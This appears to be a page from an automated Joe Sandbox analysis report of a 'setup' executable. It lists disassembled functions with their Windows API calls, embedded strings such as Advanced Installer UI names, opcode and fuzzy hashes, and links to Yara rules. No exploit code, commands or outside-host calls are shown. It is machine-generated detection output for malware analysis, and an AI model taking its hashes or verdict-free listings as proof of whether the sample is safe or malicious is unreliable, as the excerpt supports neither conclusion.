Associated: 00000003.00000002.2947563281.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948103378.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948275777.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948370821.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948463281.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948530636.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_setup.jbxd

Similarity

API ID: DecodePointer$LibraryLoad
String ID: AtlThunk_AllocateData$AtlThunk_DataToCode$AtlThunk_FreeData$AtlThunk_InitData$atlthunk.dll
API String ID: 1423960858-1745123996
Opcode ID: 6c7ea14ebb6fc1a2ab71ed086a0c12438ea71510fb947d4f254933adc0ed0647
Instruction ID: 1878a13fe61e8571abf206f3c1c0bd547a3537c80196add050e96419a8ab82b8
Opcode Fuzzy Hash: 6c7ea14ebb6fc1a2ab71ed086a0c12438ea71510fb947d4f254933adc0ed0647
Instruction Fuzzy Hash: 3B01C4317493007ADE2D5B109D47BE977548F12744F284070FC48BB2D6E6918589D2B5

Function 00BA97E0 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 240COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 00BA98C5
__Init_thread_footer.LIBCMT ref: 00BA9910

Strings

<a>, xrefs: 00BA9AD6
</a>, xrefs: 00BA9A16
Hi, xrefs: 00BA991F
Hi, xrefs: 00BA988A
<a href=", xrefs: 00BA9885

Memory Dump Source

Source File: 00000003.00000002.2947616455.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2947563281.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948103378.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948275777.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948370821.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948463281.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948530636.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_setup.jbxd

Similarity

API ID: Init_thread_footer
String ID: </a>$<a href="$<a>$Hi$Hi
API String ID: 1385522511-4214971700
Opcode ID: 776c7b1ec71824e5aa8f36ba54b2e2426cebddf56ba3b2a58cd5e3538db8ab3f
Instruction ID: 755e41ccc0fc7f1435105e77e529ef2c140ed1b2ea9c6c91a84cc23daabd0706
Opcode Fuzzy Hash: 776c7b1ec71824e5aa8f36ba54b2e2426cebddf56ba3b2a58cd5e3538db8ab3f
Instruction Fuzzy Hash: 4BA1A070A04708DFCB14DF64C945BAEB7F1FF8A314F144299E426AB2D1EB70A949CB61

Function 00BA2830 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 135COMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(00EA1668,00000000,E5106CA8,00000000,00DE7E63,000000FF,?,E5106CA8), ref: 00BA29A3
GetLastError.KERNEL32(?,E5106CA8), ref: 00BA29AD

Strings

VolumeCostSize, xrefs: 00BA2867
VolumeCostDifference, xrefs: 00BA2883
VolumeCostVolume, xrefs: 00BA285D, 00BA2915
VolumeCostAvailable, xrefs: 00BA2870
VolumeCostRequired, xrefs: 00BA2879

Memory Dump Source

Source File: 00000003.00000002.2947616455.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2947563281.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948103378.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948275777.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948370821.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948463281.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948530636.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_setup.jbxd

Similarity

API ID: CountCriticalErrorInitializeLastSectionSpin
String ID: VolumeCostAvailable$VolumeCostDifference$VolumeCostRequired$VolumeCostSize$VolumeCostVolume
API String ID: 439134102-34576578
Opcode ID: 115ece894ca24fdc85d29225f1a540aa4b25f397daa5c9ca6dfeae19eba36fd9
Instruction ID: 6eab475e4491b0fa11df670ca1eaa7ae4b6f610ad8dbe3c83c15b8d203c2d534
Opcode Fuzzy Hash: 115ece894ca24fdc85d29225f1a540aa4b25f397daa5c9ca6dfeae19eba36fd9
Instruction Fuzzy Hash: 0A51F3B1904259DFCB10DF99DD0679E7BF4EB4A720F1842A9E814F7380E774A908CB61

Function 00D7F7A0 Relevance: 12.1, APIs: 8, Instructions: 73memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,0000000D,00000000,?,00D7F94A,00000000,?,?,00BB8164,?), ref: 00D7F7C4
HeapAlloc.KERNEL32(00000000,?,?,00BB8164,?), ref: 00D7F7CB

Part of subcall function 00D7F896: IsProcessorFeaturePresent.KERNEL32(0000000C,00D7F7B2,00000000,?,00D7F94A,00000000,?,?,00BB8164,?), ref: 00D7F898

InterlockedPopEntrySList.KERNEL32(00000000,00000000,?,00D7F94A,00000000,?,?,00BB8164,?), ref: 00D7F7DB
VirtualAlloc.KERNEL32(00000000,00001000,00001000,00000040,?,?,00BB8164,?), ref: 00D7F802
RaiseException.KERNEL32(C0000017,00000000,00000000,00000000,?,?,00BB8164,?), ref: 00D7F816
InterlockedPopEntrySList.KERNEL32(00000000,?,?,00BB8164,?), ref: 00D7F829
VirtualFree.KERNEL32(00000000,00000000,00008000,?,?,00BB8164,?), ref: 00D7F83C

Memory Dump Source

Source File: 00000003.00000002.2947616455.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2947563281.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948103378.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948275777.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948370821.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948463281.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948530636.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_setup.jbxd

Similarity

API ID: AllocEntryHeapInterlockedListVirtual$ExceptionFeatureFreePresentProcessProcessorRaise
String ID:
API String ID: 2460949444-0
Opcode ID: eed45bd37e021879e12d93f965e75723763be056be5e48f805d8945b13333367
Instruction ID: 30662b472efdefff37084521541b44ee2faeecd06c91f08c20c3b63995a23234
Opcode Fuzzy Hash: eed45bd37e021879e12d93f965e75723763be056be5e48f805d8945b13333367
Instruction Fuzzy Hash: C111EBB1700611EFE73117AAAC48F27765DFB49785F254131F909F6250EA21CC4887B2

Function 00BBE3F0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 285registryCOMMON

Download Yara Rule

APIs

CreateEventW.KERNEL32(00000000,00000000,00000000,Caphyon.AI.ExtUI.IEClickSoundRemover,E5106CA8), ref: 00BBE491
GetLastError.KERNEL32 ref: 00BBE4BA
RegCloseKey.ADVAPI32(?,00E172AC,00000000,00E172AC,00000000,?,80000001,00000001,00000000,AppEvents\Schemes\Apps\Explorer\Navigating\.Current,00000033), ref: 00BBE72E
CloseHandle.KERNEL32(?,E5106CA8,?,?,00000000,00DAC9ED,000000FF,?,00E172AC,00000000,00E172AC,00000000,?,80000001,00000001,00000000), ref: 00BBE7BE

Strings

Caphyon.AI.ExtUI.IEClickSoundRemover, xrefs: 00BBE486
AppEvents\Schemes\Apps\Explorer\Navigating\.Current, xrefs: 00BBE4F2

Memory Dump Source

Source File: 00000003.00000002.2947616455.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2947563281.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948103378.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948275777.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948370821.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948463281.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948530636.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_setup.jbxd

Similarity

API ID: Close$CreateErrorEventHandleLast
String ID: AppEvents\Schemes\Apps\Explorer\Navigating\.Current$Caphyon.AI.ExtUI.IEClickSoundRemover
API String ID: 1253123496-2079760225
Opcode ID: 2679b9806753a327f913400ece0aab7a5cb29d6e0c88c6b817d73bcaff8bfc65
Instruction ID: ae389da7ce0ae965eb21134eb8e832c6f07c847e627f6aef5e9ae4dfc800a0af
Opcode Fuzzy Hash: 2679b9806753a327f913400ece0aab7a5cb29d6e0c88c6b817d73bcaff8bfc65
Instruction Fuzzy Hash: 37C1CF70D00248DFDB24CF68C885BEEBBF4EF54704F10829DE459A7291DBB4AA88CB51

Function 00BBC570 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 269COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00EA1648,E5106CA8,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00DAC2E5), ref: 00BBC5DA
GetModuleFileNameW.KERNEL32(0000FFFF,00000104,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00DAC2E5), ref: 00BBC65A
EnterCriticalSection.KERNEL32(00EA1664,?,?,?,?,?,?,?,?,?,?,?,00000000,00DAC2E5,000000FF), ref: 00BBC813
LeaveCriticalSection.KERNEL32(00EA1664,?,?,?,?,?,?,?,?,?,?,00000000,00DAC2E5,000000FF), ref: 00BBC834

Strings

v, xrefs: 00BBC82D

Memory Dump Source

Source File: 00000003.00000002.2947616455.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2947563281.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948103378.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948275777.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948370821.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948463281.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948530636.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_setup.jbxd

Similarity

API ID: CriticalSection$Enter$FileLeaveModuleName
String ID: v
API String ID: 1807155316-3261393531
Opcode ID: 1c6a1d5330964a2b6f26cbdb22e43c362b9125b96e848297588a1013779196ef
Instruction ID: afc1d3652ff6dadc7831b21c2e34cfc279fcfa943d5c2c912c6b9675cca857ff
Opcode Fuzzy Hash: 1c6a1d5330964a2b6f26cbdb22e43c362b9125b96e848297588a1013779196ef
Instruction Fuzzy Hash: 70B14A70900249DFDB10DBA5D888BFEBBF4EF09314F248599E405AB291DBB5A948CB61

Function 00CC95B0 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 238registrylibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(Advapi32.dll,E5106CA8,E5106CA8,?,?), ref: 00CC9806
GetProcAddress.KERNEL32(00000000,RegOpenKeyTransactedW), ref: 00CC9816
RegCloseKey.ADVAPI32(00000000,?,?), ref: 00CC9868

Strings

RegOpenKeyTransactedW, xrefs: 00CC9810
Advapi32.dll, xrefs: 00CC9801

Memory Dump Source

Source File: 00000003.00000002.2947616455.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2947563281.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948103378.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948275777.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948370821.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948463281.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948530636.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_setup.jbxd

Similarity

API ID: AddressCloseHandleModuleProc
String ID: Advapi32.dll$RegOpenKeyTransactedW
API String ID: 4190037839-3913318428
Opcode ID: bdbe0eba6a96933737b77f4b6a33b6aeab5a108e040166a2d2d0b6b7d094ce4e
Instruction ID: 46152b0189652b9ce2b97b76fb6270d0189884d116b7b441e7182326b50d6893
Opcode Fuzzy Hash: bdbe0eba6a96933737b77f4b6a33b6aeab5a108e040166a2d2d0b6b7d094ce4e
Instruction Fuzzy Hash: BDA15B70D04208DFDB24CF68C959B9EBBF4FF49304F20826DE455AB291DB74AA44CBA1

Function 00BB1000 Relevance: 10.7, APIs: 7, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(?), ref: 00BB10F4
SysFreeString.OLEAUT32(00000000), ref: 00BB1169
GetProcessHeap.KERNEL32(?,?), ref: 00BB11D9
HeapFree.KERNEL32(00000000,?,?), ref: 00BB11DF
GetProcessHeap.KERNEL32(?,00000000,?,00000000,00000000,00000000,E5106CA8), ref: 00BB120C
HeapFree.KERNEL32(00000000,?,00000000,?,00000000,00000000,00000000,E5106CA8), ref: 00BB1212
SysFreeString.OLEAUT32(00000000), ref: 00BB122A

Memory Dump Source

Source File: 00000003.00000002.2947616455.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2947563281.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948103378.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948275777.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948370821.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948463281.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948530636.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_setup.jbxd

Similarity

API ID: Free$Heap$String$Process
String ID:
API String ID: 2680101141-0
Opcode ID: a3619e46d486705996b05b241b834f6a9bd8296bee0a55f51be1d6ccd7b04254
Instruction ID: 28887522562c4f1d8f4047930e1785b57de7a1e222eb5bac31a5d017fd6c25dc
Opcode Fuzzy Hash: a3619e46d486705996b05b241b834f6a9bd8296bee0a55f51be1d6ccd7b04254
Instruction Fuzzy Hash: 2C813570D012599FDF10DFA8C954BEEBBF8EF05310F644999E510BB281D7B89A04CBA1

Function 00BB9BD0 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 157COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00EA699C,E5106CA8,00000000,00EA69B8), ref: 00BB9C43
LeaveCriticalSection.KERNEL32(00EA699C), ref: 00BB9CA8
LoadCursorW.USER32(00BA0000,?), ref: 00BB9D04
LeaveCriticalSection.KERNEL32(00EA699C), ref: 00BB9D9B

Strings

ATL:%p, xrefs: 00BB9D24
v, xrefs: 00BB9CA8, 00BB9D9B

Memory Dump Source

Source File: 00000003.00000002.2947616455.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2947563281.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948103378.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948275777.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948370821.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948463281.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948530636.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_setup.jbxd

Similarity

API ID: CriticalSection$Leave$CursorEnterLoad
String ID: v$ATL:%p
API String ID: 2080323225-109518622
Opcode ID: ba1a1befe067dce455c1cd795d2c5ecda64cef95063d63a9be113e65ae98907a
Instruction ID: 2dbce08e59c4c7bf63173a76080c84b94452ffe40c5c9af82addf93aec82cf0e
Opcode Fuzzy Hash: ba1a1befe067dce455c1cd795d2c5ecda64cef95063d63a9be113e65ae98907a
Instruction Fuzzy Hash: C551BC71D00B44DFDB20CF69C9406AABBF0FF59320F04465EE995A3691E7B1B984CB90

Function 00BBA130 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 151threadCOMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(0000000E,E5106CA8,?,?,00000000,?), ref: 00BBA16E
GetCurrentThreadId.KERNEL32 ref: 00BBA1AF
EnterCriticalSection.KERNEL32(00EA699C), ref: 00BBA1CF
LeaveCriticalSection.KERNEL32(00EA699C), ref: 00BBA1F3

Part of subcall function 00D7F902: GetProcessHeap.KERNEL32(00000008,00000008,?,00BB83B7,?,?,00BB8164,?), ref: 00D7F907
Part of subcall function 00D7F902: HeapAlloc.KERNEL32(00000000,?,?,00BB8164,?), ref: 00D7F90E

Strings

AXWIN UI Window, xrefs: 00BBA2C5
v, xrefs: 00BBA1F3

Memory Dump Source

Source File: 00000003.00000002.2947616455.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2947563281.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948103378.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948275777.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948370821.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948463281.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948530636.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_setup.jbxd

Similarity

API ID: CriticalHeapSection$AllocCurrentEnterErrorLastLeaveProcessThread
String ID: v$AXWIN UI Window
API String ID: 2176831970-2690018532
Opcode ID: 926621ac5943f116de6fe0cef5eb505d47df0b18f25916eedb46637d19e05d30
Instruction ID: 85a2330f8fc84fe8f071a45121e54732a2bd6733231311ce1bbaffd3c28817a8
Opcode Fuzzy Hash: 926621ac5943f116de6fe0cef5eb505d47df0b18f25916eedb46637d19e05d30
Instruction Fuzzy Hash: B151B571A00345EFDB10DF59DD05BAABBF4FB89B14F10825AF904B7290D7B2A814CBA1

Function 00CAA450 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 74libraryloaderCOMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 00CAA4E0

Part of subcall function 00D80216: EnterCriticalSection.KERNEL32(00E9FF6C,?,?,00BAAE07,00EA0B9C,00E0A670), ref: 00D80220
Part of subcall function 00D80216: LeaveCriticalSection.KERNEL32(00E9FF6C,?,?,00BAAE07,00EA0B9C,00E0A670), ref: 00D80253
Part of subcall function 00D80216: RtlWakeAllConditionVariable.NTDLL ref: 00D802CA

GetProcAddress.KERNEL32(SetWindowTheme), ref: 00CAA51D
__Init_thread_footer.LIBCMT ref: 00CAA534

Part of subcall function 00D80260: EnterCriticalSection.KERNEL32(00E9FF6C,?,?,?,00BAAD96,00EA0B9C,E5106CA8,?,?,00DA83BD,000000FF,?,00BA1177,E5106CA8,?,00DAA90F), ref: 00D8026B
Part of subcall function 00D80260: LeaveCriticalSection.KERNEL32(00E9FF6C,?,?,?,00BAAD96,00EA0B9C,E5106CA8,?,?,00DA83BD,000000FF,?,00BA1177,E5106CA8,?,00DAA90F), ref: 00D802A8

Part of subcall function 00C889F0: GetSystemDirectoryW.KERNEL32(?,00000105), ref: 00C88A31

Strings

explorer, xrefs: 00CAA547
UxTheme.dll, xrefs: 00CAA4B1
SetWindowTheme, xrefs: 00CAA512

Memory Dump Source

Source File: 00000003.00000002.2947616455.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2947563281.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948103378.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948275777.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948370821.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948463281.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948530636.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_setup.jbxd

Similarity

API ID: CriticalSection$EnterInit_thread_footerLeave$AddressConditionDirectoryProcSystemVariableWake
String ID: SetWindowTheme$UxTheme.dll$explorer
API String ID: 2009665995-3123591815
Opcode ID: fb6f1d59c952b66f73c1d30b04ddbd902f95c09323b19647194b4c3313482f30
Instruction ID: 862a1961dee5bccd45f906ecf0298b351845c1b325880f2fa72a04d255f31977
Opcode Fuzzy Hash: fb6f1d59c952b66f73c1d30b04ddbd902f95c09323b19647194b4c3313482f30
Instruction Fuzzy Hash: 9B21C172A41705EFCB20DF19ED06B59B760EB1BB30F144215E460B72D0DBB0BA08CB66

Function 00D99953 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00D99A60,0000000D,00BB079C,00000001,00000000,0000000B,?,00D99CCA,00000021,FlsSetValue,00E10E8C,00E10E94,00000001), ref: 00D99A14

Strings

api-ms-, xrefs: 00D999AA
ext-ms-, xrefs: 00D999BE

Memory Dump Source

Source File: 00000003.00000002.2947616455.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2947563281.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948103378.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948275777.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948370821.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948463281.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948530636.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_setup.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: dd2b4a1eea946f6a51f54682a2d209ef6df5cdc4b655fba6dcec302ecca82fc1
Instruction ID: ef2c0dd3f0ead0a7103a7dec309161b74bad36725dab0f7157c1890de3aead67
Opcode Fuzzy Hash: dd2b4a1eea946f6a51f54682a2d209ef6df5cdc4b655fba6dcec302ecca82fc1
Instruction Fuzzy Hash: AA21EB31A01210BFDF219B69DC91A5AB768EB927A0F28121DFD06B72D1D730ED44CAF0

Function 00BB8CA0 Relevance: 9.2, APIs: 4, Strings: 1, Instructions: 460stringCOMMON

Download Yara Rule

APIs

lstrcmpW.KERNEL32(?,#32770), ref: 00BB8DA1

Strings

#32770, xrefs: 00BB8D98

Memory Dump Source

Source File: 00000003.00000002.2947616455.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2947563281.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948103378.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948275777.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948370821.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948463281.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948530636.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_setup.jbxd

Similarity

API ID: lstrcmp
String ID: #32770
API String ID: 1534048567-463685578
Opcode ID: 31192e583f81ac4b3113649cf119fbc47fbdce3aab02bc89cdb7b1c6f8312c0d
Instruction ID: 525679a59eb0f45dfa9ff60e4ccb6cc84c641e034416607231bd42c5f5c8d526
Opcode Fuzzy Hash: 31192e583f81ac4b3113649cf119fbc47fbdce3aab02bc89cdb7b1c6f8312c0d
Instruction Fuzzy Hash: D2028E70A00209EFDB14DFA8C848BEEBBF9EF49314F144599F515E7290DBB59944CB60

Function 00BDF330 Relevance: 9.2, APIs: 6, Instructions: 153COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00BDF37A
std::_Lockit::_Lockit.LIBCPMT ref: 00BDF39C
std::_Lockit::~_Lockit.LIBCPMT ref: 00BDF3C4
__Getctype.LIBCPMT ref: 00BDF4A5
std::_Facet_Register.LIBCPMT ref: 00BDF507
std::_Lockit::~_Lockit.LIBCPMT ref: 00BDF531

Memory Dump Source

Source File: 00000003.00000002.2947616455.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2947563281.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948103378.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948275777.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948370821.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948463281.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948530636.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_setup.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_GetctypeRegister
String ID:
API String ID: 1102183713-0
Opcode ID: b48a41114eddea5dee314203d6186ee55cad8e3ea6de540252ec97dba15fe73f
Instruction ID: 3dbd766872f2bf1ed5ec0e48003d6db5166e8a82deb08e558ec9e640d098862d
Opcode Fuzzy Hash: b48a41114eddea5dee314203d6186ee55cad8e3ea6de540252ec97dba15fe73f
Instruction Fuzzy Hash: 17619271D04249CFDB11DF58D9417AEFBF0EF14320F1482AAD845AB391E774AA84CBA1

Function 00BDF130 Relevance: 9.1, APIs: 6, Instructions: 140COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00BDF16D
std::_Lockit::_Lockit.LIBCPMT ref: 00BDF18F
std::_Lockit::~_Lockit.LIBCPMT ref: 00BDF1B7
__Getcoll.LIBCPMT ref: 00BDF281
std::_Facet_Register.LIBCPMT ref: 00BDF2C6
std::_Lockit::~_Lockit.LIBCPMT ref: 00BDF2FE

Memory Dump Source

Source File: 00000003.00000002.2947616455.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2947563281.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948103378.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948275777.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948370821.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948463281.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948530636.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

